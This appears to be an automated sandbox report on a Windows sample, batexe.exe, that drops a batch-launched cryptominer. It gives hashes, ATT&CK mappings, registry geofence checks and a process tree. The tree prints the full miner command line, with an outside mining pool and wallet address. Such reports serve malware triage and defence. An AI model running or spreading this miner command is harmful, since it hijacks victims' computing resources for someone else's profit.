73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 17:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4123566616-543693798-272350410-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4123566616-543693798-272350410-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
1740	b2e.exe
3132	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3132	cpuminer-sse2.exe
3132	cpuminer-sse2.exe
3132	cpuminer-sse2.exe
3132	cpuminer-sse2.exe
3132	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2488-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 1740	2488	batexe.exe	83
PID 2488 wrote to memory of 1740	2488	batexe.exe	83
PID 2488 wrote to memory of 1740	2488	batexe.exe	83
PID 1740 wrote to memory of 5004	1740	b2e.exe	85
PID 1740 wrote to memory of 5004	1740	b2e.exe	85
PID 1740 wrote to memory of 5004	1740	b2e.exe	85
PID 5004 wrote to memory of 3132	5004	cmd.exe	89
PID 5004 wrote to memory of 3132	5004	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Users\Admin\AppData\Local\Temp\7FAF.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7FAF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7FAF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\89B2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7FAF.tmp\b2e.exe

Filesize
11.1MB

MD5
a8d4cc190a0e3170ac800b6c8722093c

SHA1
c90c105c0f93253b7470f1a937239a4eaa97b67f

SHA256
49c0210b262171c108360c315981f9886ebefa103958f41b2a56daca6af914bd

SHA512
0ff504ab4297f908e65b010aea50b2af0faf3ffab831fee7014ea7da76184d8c8f04658c30339ce3cd99d3d278eb2e0fc7c6ee0c9e91b88a228d4858cc7da55c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7FAF.tmp\b2e.exe

Filesize
4.6MB

MD5
d916da47cf1a8b13b07ad9c8ffdcca78

SHA1
28eec211eb4856cc3790f4830484c9ab03923d16

SHA256
c7efdafed754c736cb119eda9bd96403396eeb4c9a503c957a01e72fb625759c

SHA512
ff3c3d54df6d4cd08f07aebbfc4878d945f79cf5dd993abb47443b11c89f87dfacf7beb9d8352b9175d1c2e01ad994374a48c4556e1286231a729c405c97313b

Download Submit
C:\Users\Admin\AppData\Local\Temp\89B2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
887KB

MD5
2d982541cb7a6b50cec6c8964fcef7b3

SHA1
01c081a8a24e7757b1509b95113a14a0cc3914c9

SHA256
80e57902bd4442b905433bae5bf7392e7da60759e5a38a6e23e220283c95b5c2

SHA512
379d0faff5aaf56be577ba23251f557998c7e4d604a206a58b0e79cb0245eafffaccdd6cc2ee597392b2b5823b2984268d86e6abc9e1cd217b5abdbe7c89053c

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
832KB

MD5
43dd8ab1a0fd7f177db516faa81a9635

SHA1
66a8b6940797f3396a4f1a6deafca1fda5bffcdd

SHA256
d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

SHA512
064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
704KB

MD5
903e2cfee96d720dd5200a922b637d07

SHA1
f6d639d7b6bb586abcb5f97b1b212252ed6c85b2

SHA256
443ef0fe0e5e9cff04e267b1bbbbc98b547e5bd38a853eb79d06a43a8e7d17f2

SHA512
c9c357be28d1d97bd5255d88bc64255f452867407c3aa4c99b286913286780da1204691a0344514f070b8bad391980a88b165eb1e8e9ee97f77ef02eb85071c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
512KB

MD5
a5993c0dd7587f1716037dcfe1f63091

SHA1
9a4d23ce36f5fc5791692b47d977c0bf92842879

SHA256
568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3

SHA512
c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
832KB

MD5
d33f0e6bb5e8d2b9e111a90544790dc8

SHA1
df4e81d22638d511e761744e886c33bc12096c48

SHA256
40729edf62213c039a1818c9adb9478aa0284bb26dd071bd1ac4de1da2470048

SHA512
ce4ebeae054117d4de8b3fe2403d95a6d819483269f851618958e864887e9b2f42fc9c893e1aa207dfa2d94900c8f4214a67796ddeb2a80ce655d69ec290d629

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
576KB

MD5
46e1c7531774dee6a7125727095ea354

SHA1
2248bc2bd821aded068d2e5e55f5e7271b50ab91

SHA256
cecc229ea9e416207638b67d03bc6846fa188a14fe1c9e75028afb48ff4e2081

SHA512
fa9dc86df3e0a8f7b2579785c03717a43eec14beab8ca3176f73d4ecb0716d047241ab30cd53518e7acd645e9f8282a20552a6fa33824c34afc5c5210cc69f2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
768KB

MD5
613807ad6d525aded318b643c33bc17e

SHA1
2c9a4180140838c69c20bc4047c3d2d777d3bee4

SHA256
896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

SHA512
d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
512KB

MD5
a3dea3777f14f1235327b648410a9406

SHA1
9ab139a0c947962b3c471c36e8b9cca4d750c889

SHA256
ff432926dd375c44e9a86cc2520c46e66be2d212e35fb73f16ebc4b48b98b6d1

SHA512
b6cacf9e5d8adebdb3c4ae9b6eaddda6a90d9eae32bdc4cf6eb36ad7cf14d02486ac0c32942e3bc504e943a544fa71a6c9e2fec8fb07c456290646107b4edea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
587KB

MD5
f2559e21232b47592005868eff55a176

SHA1
5fece4de0feabed79f2bb2b3956a341c8ea35cda

SHA256
0dcf74d0dd989e82ac1d20450d970b09539a30466a21ece2deab2cbd12b44b7f

SHA512
41b152805e6578e83c8c70f251d9b7b5a5c3aaea0a9100c5dd679c3fd157945d321955e3f5a71397ff24a08d0fffa0d303d4da57ec9727be7a39f54de33addaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
576KB

MD5
2caab2ad7ccd18421c96ea2ef5b9e602

SHA1
a629673c12e88ef88f30cbe8da12d3afb9a7d42c

SHA256
c16fbf658c970a716b976abe7c5d9f1b1a42dacd55a43b16fec0ecc6b84f0552

SHA512
aa9692584947d7fdbe843e877430ade40c5b4c6e15887005a292065d6f8e1303abc8dfc2bf50c01fb032bdfeca5bb2aa9312ba44d7ba4e2d3529d07bfd008969

Download Submit
memory/1740-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1740-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2488-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3132-47-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/3132-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-45-0x000000005DDA0000-0x000000005DE38000-memory.dmp

Filesize
608KB

Download
memory/3132-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3132-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3132-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download